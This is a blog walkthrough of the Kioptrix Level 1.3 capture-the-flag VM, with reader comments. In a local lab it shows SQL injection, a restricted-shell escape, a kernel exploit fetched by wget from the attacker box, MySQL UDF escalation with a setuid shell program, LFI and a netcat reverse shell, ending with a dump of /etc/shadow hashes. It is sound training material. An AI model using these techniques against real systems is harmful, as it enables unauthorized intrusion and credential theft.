Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Kioptrix Level 1.3 (#4) Walkthrough

Continuing along with the series, I decided to knock out Kioptrix Level 1.3 (#4).

As usual, (though hopefully soon I’ll start showing off some of my enumeration scripts on here as well) I ran netdiscover to find the new VM.

 Currently scanning: Finished!   |   Screen View: Unique Hosts
                                                                              
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
 ________________________________________________________________
    IP            At MAC Address      Count  Len   MAC Vendor    
 ----------------------------------------------------------------
 172.16.119.1    00:50:56:c0:00:01    01    060   VMWare, Inc.
 172.16.119.135  00:0c:29:a8:e4:2e    01    060   VMware, Inc.
 172.16.119.254  00:50:56:e1:d6:c7    01    060   VMWare, Inc.

root@kali:~#

IP in hand, I ran a quick Nmap scan to find some attack surfaces.

root@kali:~# nmap -sT -sV -O 172.16.119.135

Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-13 17:25 EDT
Nmap scan report for 172.16.119.135
Host is up (0.00030s latency).
Not shown: 566 closed ports, 430 filtered ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
MAC Address: 00:0C:29:A8:E4:2E (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.40 seconds

I decided to check out the home page first, as that is usually a good starting point.

Dirbuster seemed to bring up few directories of note, but two of them were called “john” and “robert”, so I decided to try them as a point of possible SQL Injection.

This attempt seemed to work and brought me to a Member’s Control Panel displaying John’s username, password, and a Logout button.

Using the same input for Robert brought up similar information as well.


I decided to try John’s credentials over SSH hoping he ‘reused’ them, which of course he did. Unfortunately, he appeared to be in some sort of restricted shell that only allowed a few commands.

root@kali:~# ssh [email protected]
[email protected]'s password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ id
*** unknown command: id
john:~$ ?
cd  clear  echo  exit  help  ll  lpath  ls
john:~$ help help
Limited Shell (lshell) limited help.
Cheers.

Using Robert’s credentials worked as well, but he had the same limited shell.

root@kali:~# ssh [email protected]
[email protected]'s password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
robert:~$ help
cd  clear  echo  exit  help  ll  lpath  ls
robert:~$ ls -al
total 24
drwxr-xr-x 2 robert robert 4096 2012-02-04 18:53 .
drwxr-xr-x 5 root   root   4096 2012-02-04 18:05 ..
-rw-r--r-- 1 robert robert  220 2012-02-04 18:05 .bash_logout
-rw-r--r-- 1 robert robert 2940 2012-02-04 18:05 .bashrc
-rw-r--r-- 1 robert robert    5 2012-02-04 18:59 .lhistory
-rw-r--r-- 1 robert robert  586 2012-02-04 18:05 .profile
robert:~$ exit

After a bit more testing of commands and research, this appeared to be a slightly modified version of the python Limited Shell (Lshell) that was easily bypassed.

john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)

Though it wasn’t within the spirit of the challenge, I could have gotten the flag already as it was world readable.

john@Kioptrix4:~$ cd /root
john@Kioptrix4:/root$ ls -al
total 44
drwxr-xr-x  4 root       root       4096 2012-02-06 18:46 .
drwxr-xr-x 21 root       root       4096 2012-02-06 18:41 ..
-rw-------  1 root       root         59 2012-02-06 20:24 .bash_history
-rw-r--r--  1 root       root       2227 2007-10-20 07:51 .bashrc
-rw-r--r--  1 root       root        625 2012-02-06 10:48 congrats.txt
-rw-r--r--  1 root       root          1 2012-02-05 10:38 .lhistory
drwxr-xr-x  8 loneferret loneferret 4096 2012-02-04 17:01 lshell-0.9.12
-rw-------  1 root       root          1 2012-02-05 10:38 .mysql_history
-rw-------  1 root       root          5 2012-02-06 18:38 .nano_history
-rw-r--r--  1 root       root        141 2007-10-20 07:51 .profile
drwx------  2 root       root       4096 2012-02-06 11:43 .ssh

With a little bit of enumeration and searching, it seemed that this kernel was vulnerable to the same ring0 exploit as Kioptrix Level 1.1 (#2). I compiled the exploit on my attacker box (32-bit system flag), and served it up over Python’s SimpleHTTPServer.

root@kali:~# gcc -o ring0-32 ring0.c -m32
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
172.16.119.135 - - [15/May/2015 08:01:45] "GET /ring0-32 HTTP/1.0" 200 -

I switched back over to the vulnerable machine, grabbed the exploit, executed it, and got root.

john@Kioptrix4:~$ wget http://172.16.119.128:8000/ring0-32
--10:01:47--  http://172.16.119.128:8000/ring0-32
           => `ring0-32'
Connecting to 172.16.119.128:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,955 (6.8K) [application/octet-stream]

100%[====================================>] 6,955         --.--K/s            

10:01:47 (1.05 GB/s) - `ring0-32' saved [6955/6955]

john@Kioptrix4:~$ chmod +x ring0-32
john@Kioptrix4:~$ ./ring0-32
# id
uid=0(root) gid=0(root) groups=1001(john)

Root in hand, I checked .bash_history for anything interesting, and dumped the flag file.

# cd /root
# ls
congrats.txt  lshell-0.9.12
# cat .bash_history

clear
iptables -L
echo "" > /root/.bash_history
poweroff

# cat congrats.txt
Congratulations!
You've got root.

There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.

It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.

If you haven't already, check out the other VMs available on:
www.kioptrix.com

Thanks for playing,
loneferret

No shadow file just yet though, as there were a few more points of ingress…

Alternatively, logging in as the John user also allowed us find some SQL credentials in the checklogin.php file.

john@Kioptrix4:/var/www$ cat checklogin.php 
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
//$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
//$mypassword = mysql_real_escape_string($mypassword);

//$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'");
//$result=mysql_query($sql);

// Mysql_num_row is counting table row
$count=mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row

if($count!=0){
// Register $myusername, $mypassword and redirect to file "login_success.php"
     session_register("myusername");
     session_register("mypassword");
     header("location:login_success.php?username=$myusername");
}
else {
echo "Wrong Username or Password";
print('<form method="link" action="index.php"><input type=submit value="Try Again"></form>');
}

ob_end_flush();
?>

Using these credentials, we were able to login to the local MySQL instance as root (without a password, naughty naughty) and obtain some information from the database (including the same passwords found from the earlier SQL injection).

john@Kioptrix4:~$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 31
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> status;
--------------
mysql  Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2

Connection id:          31
Current database:    
Current user:          root@localhost
SSL:               Not in use
Current pager:          stdout
Using outfile:          ''
Using delimiter:     ;
Server version:          5.0.51a-3ubuntu5.4 (Ubuntu)
Protocol version:     10
Connection:          Localhost via UNIX socket
Server characterset:     latin1
Db     characterset:     latin1
Client characterset:     latin1
Conn.  characterset:     latin1
UNIX socket:          /var/run/mysqld/mysqld.sock
Uptime:               1 hour 35 min 15 sec

Threads: 1  Questions: 109  Slow queries: 0  Opens: 24  Flush tables: 1  Open tables: 18  Queries per second avg: 0.019
--------------

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| members            |
| mysql              |
+--------------------+
3 rows in set (0.00 sec)

mysql> use members;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------+
| Tables_in_members |
+-------------------+
| members           |
+-------------------+
1 row in set (0.00 sec)

mysql> select * from members;
+----+----------+-----------------------+
| id | username | password              |
+----+----------+-----------------------+
|  1 | john     | MyNameIsJohn          |
|  2 | robert   | ADGAdsafdfwt4gadfga== |
+----+----------+-----------------------+
2 rows in set (0.00 sec)

With the MySQL access, I checked to see if it would be possible to escalate privileges with some User Defined Functions (UDF).

john@Kioptrix4:~$ whereis lib_mysqludf_sys.so
lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
john@Kioptrix4:~$ mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 36
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
ERROR 1125 (HY000): Function 'sys_exec' already exists
mysql> select sys_exec('id > /tmp/out; chown john.john /tmp/out');
+-----------------------------------------------------+
| sys_exec('id > /tmp/out; chown john.john /tmp/out') |
+-----------------------------------------------------+
| NULL                                                |
+-----------------------------------------------------+
1 row in set (0.00 sec)

mysql> quit
Bye
john@Kioptrix4:~$ cat /tmp/out
uid=0(root) gid=0(root)

While GCC wasn’t installed on the target system, I was able to create a simple setuid application on my attack box, compile it for 32bit, host it using Python’s SimpleHTTPServer, wget it on the target box, have it setuid 0 by the UDF, execute it, and get root!

john@Kioptrix4:~$ cd /tmp
john@Kioptrix4:/tmp$ cat setuid.c
int main()
{
     setgid(0);
     setuid(0);
     system("/bin/bash");
}
john@Kioptrix4:/tmp$ gcc -o setuid setuid.c
The program 'gcc' can be found in the following packages:
* gcc
* pentium-builder
Ask your administrator to install one of them
bash: gcc: command not found

root@kali:~# cat setuid.c
int main()
{
     setgid(0);
     setuid(0);
     system("/bin/bash");
}
root@kali:~# gcc -o setuid setuid.c -m32
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
172.16.119.135 - - [15/May/2015 08:28:52] "GET /setuid HTTP/1.0" 200 -

john@Kioptrix4:/tmp$ rm setuid.c
john@Kioptrix4:/tmp$ wget http://172.16.119.128:8000/setuid
--10:28:54--  http://172.16.119.128:8000/setuid
           => `setuid'
Connecting to 172.16.119.128:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5,072 (5.0K) [application/octet-stream]

100%[====================================>] 5,072         --.--K/s            

10:28:54 (711.75 MB/s) - `setuid' saved [5072/5072]

john@Kioptrix4:/tmp$ ls -al
total 20
drwxrwxrwt  3 root root 4096 2015-05-15 10:28 .
drwxr-xr-x 21 root root 4096 2012-02-06 18:41 ..
-rw-r--r--  1 john john 5072 2015-05-15 08:28 setuid
drwxr-xr-x  2 root root 4096 2015-05-15 08:35 .winbindd

john@Kioptrix4:/tmp$ mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 38
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> select sys_exec('chown root:root /tmp/setuid; chmod 4755 /tmp/setuid');
+-----------------------------------------------------------------+
| sys_exec('chown root:root /tmp/setuid; chmod 4755 /tmp/setuid') |
+-----------------------------------------------------------------+
| NULL                                                            |
+-----------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> exit
Bye
john@Kioptrix4:/tmp$ ./setuid
root@Kioptrix4:/tmp# id
uid=0(root) gid=0(root) groups=1001(john)

But before I post the shadow file, I’ll go over the third point of entry that I found as well.

After a quick look, it appeared that the member.php file might be vulnerable to Local File Inclusion.

Unfortunately, it appeared that “etc” was being stripped when I tried to include /etc/passwd

That said, once I doubled up the /etc and then added a null byte, then I was able to view the /etc/passwd file.


Unfortunately, I was unable to access the Apache access.log, error.log, or even environ.


After a bit of manual brute forcing and research on LFI exploitation, I was able to access fd 9, which appeared in include the information I entered into the login page.

I decided to test this vector with a phpinfo page injected into my SQL injection.

Logging back in and returning to the fd page displayed the phpinfo, so I knew I was able to execute PHP code.

With this information in hand, I decided to inject my favorite PHP shell, and test it out. Note that the vertical line between the dashes (before the PHP code) is my cursor, not a pipe character! Thanks for a keen-eyed reader for pointing that out, and I apologize for any confusion.


Using the system calls I located and ran netcat to grab a reverse shell on my attacker box.


On my attacker box I ran my listener, and used the same ring0 exploit as earlier just to verify that root could be obtained this way as well.

root@kali:~# netcat -l -p 8000
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cd /tmp
wget http://172.16.119.128:8000/ring0-32
chmod +x ring0-32
./ring0-32
id
uid=0(root) gid=0(root) groups=33(www-data)

An interesting thing to note was that there were some IPtables setup to prevent commonly used ports for listeners etc., which caused me some slight issues initially.

# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source           destination        
DROP       tcp  --  anywhere         anywhere        tcp dpt:4444
DROP       tcp  --  anywhere         anywhere        tcp dpts:1337:x11
DROP       tcp  --  anywhere         anywhere        tcp dpts:webmin:31337
DROP       tcp  --  anywhere         anywhere        tcp dpt:webcache

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination        

Chain OUTPUT (policy ACCEPT)
target     prot opt source           destination        
DROP       tcp  --  anywhere         anywhere        tcp dpt:4444
DROP       tcp  --  anywhere         anywhere        tcp dpts:1337:x11
DROP       tcp  --  anywhere         anywhere        tcp dpts:webmin:31337
DROP       tcp  --  anywhere         anywhere        tcp dpt:webcache
DROP       tcp  --  anywhere         anywhere        tcp dpt:www
DROP       tcp  --  anywhere         anywhere        tcp dpt:ftp

And, of course, there was the shadow file to dump still.

root@Kioptrix4:~# cat /etc/shadow
root:$1$5GMEyqwV$x0b1nMsYFXvczN0yI0kBB.:15375:0:99999:7:::
daemon:*:15374:0:99999:7:::
bin:*:15374:0:99999:7:::
sys:*:15374:0:99999:7:::
sync:*:15374:0:99999:7:::
games:*:15374:0:99999:7:::
man:*:15374:0:99999:7:::
lp:*:15374:0:99999:7:::
mail:*:15374:0:99999:7:::
news:*:15374:0:99999:7:::
uucp:*:15374:0:99999:7:::
proxy:*:15374:0:99999:7:::
www-data:*:15374:0:99999:7:::
backup:*:15374:0:99999:7:::
list:*:15374:0:99999:7:::
irc:*:15374:0:99999:7:::
gnats:*:15374:0:99999:7:::
nobody:*:15374:0:99999:7:::
libuuid:!:15374:0:99999:7:::
dhcp:*:15374:0:99999:7:::
syslog:*:15374:0:99999:7:::
klog:*:15374:0:99999:7:::
mysql:!:15374:0:99999:7:::
sshd:*:15374:0:99999:7:::
loneferret:$1$/x6RLO82$43aCgYCrK7p2KFwgYw9iU1:15375:0:99999:7:::
john:$1$H.GRhlY6$sKlytDrwFEhu5dULXItWw/:15374:0:99999:7:::
robert:$1$rQRWeUha$ftBrgVvcHYfFFFk6Ut6cM1:15374:0:99999:7:::

Another great VM by loneferret, and there is only one more left in the series for me.

7 Comments

  1. Impressive. That took some serious enumeration-fu to get the LFI and the Ring0 exploit in addition to the MySQL route that everyone else used.

    I’ll admit, I didn’t get past a limited shell (found John and Robert’s passwords, but no lshell escape via echo), but I found that you can also get a shell via SQL injection on the authentication screen. That brings you into the www-data account via SQLmap’s –os-shell (I also noticed that congrats.txt was world-readable at this point, which didn’t help much), from which I uploaded a python reverse shell so that I didn’t have to deal with os-shell’s prompts. Unfortunately, that basically killed my exploitation effort because I fell into the trap of believing that was the way you were supposed to attack the machine instead of going to the restricted shells.

    `Twas fun while it lasted, though. This made me realize I need to practice my Linux privilege escalation some before I start the OSCP in about a week as that seems to be a rather sore spot so far.

    • Thanks, and there were definitely some cool exploits in this one. The LFI was definitely my favorite though.

      Ah, that’s unfortunate, but go back and give it a try now that you’ve seen a few options!

      Oh awesome, I didn’t even attempt to do that. I’ve always had trouble with os-shell, but it is great that it worked here.

      Hey, if a vulnerable machine has a vulnerability, then you’re probably meant to attack it. That said, I’m sure that he world readable flag file was a mistake.

      Understandable, but this is a great reference for once you do – https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

      Also the linuxprivchecker by Mike – https://www.securitysift.com/offsec-pwb-oscp/

  2. Nicely done on the LFI vector! I’m confident that was not intentional.

    Once you know LFI is possible, I wonder if you know a tool that can check for valid paths. I tried with LFISuite, but it doesnt detect the path you found as vulnerable. I also tried with dotdotpwn but it requires you to look for a specific string, when in reality what we are looking for is any response except for the error message we get when the file doesnt exist. In the end, I found it was possible to automate your effort a little more, by using ZAP (or Burp), fuzzing with a large LFI paths file (in my case, I used LFISuites “pathtotest_huge.txt”) and then sorting by response size.

    I wonder if you had another idea or if you painstakingly went through it manually 🙂

    Also I know its been a minute since you worked on this, but do you remember if you tried a bash reverse shell? I’m getting all manner of error when trying it while SSH’d (let alone from the webshell, which doesnt show any errors/output). The reason i ask is because you wont always have netcat, and usually a bash reverse shell does the trick but in this case, no dice for me.

    • Yea, I wasn’t quite sure if it was intentional or not, but it was a fun one.

      I actually don’t use any tools currently, but that’s something to look into! I’ve used Burp Intruder before, but that’s about it. I’ll post a blog soon if I find (or write) anything interesting for LFI though.

      Definitely went through it manually in this case though.

      I actually didn’t try a bash reverse shell, but what sort of errors are you trying to get? I agree that you don’t always have netcat though, so more than one option is always great.

  3. Really appreciate the level of detail you put into your writeups and the different techniques used to enumerate and attack. This is an informational gem for those who have stumbled across this like I have. Thank you!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.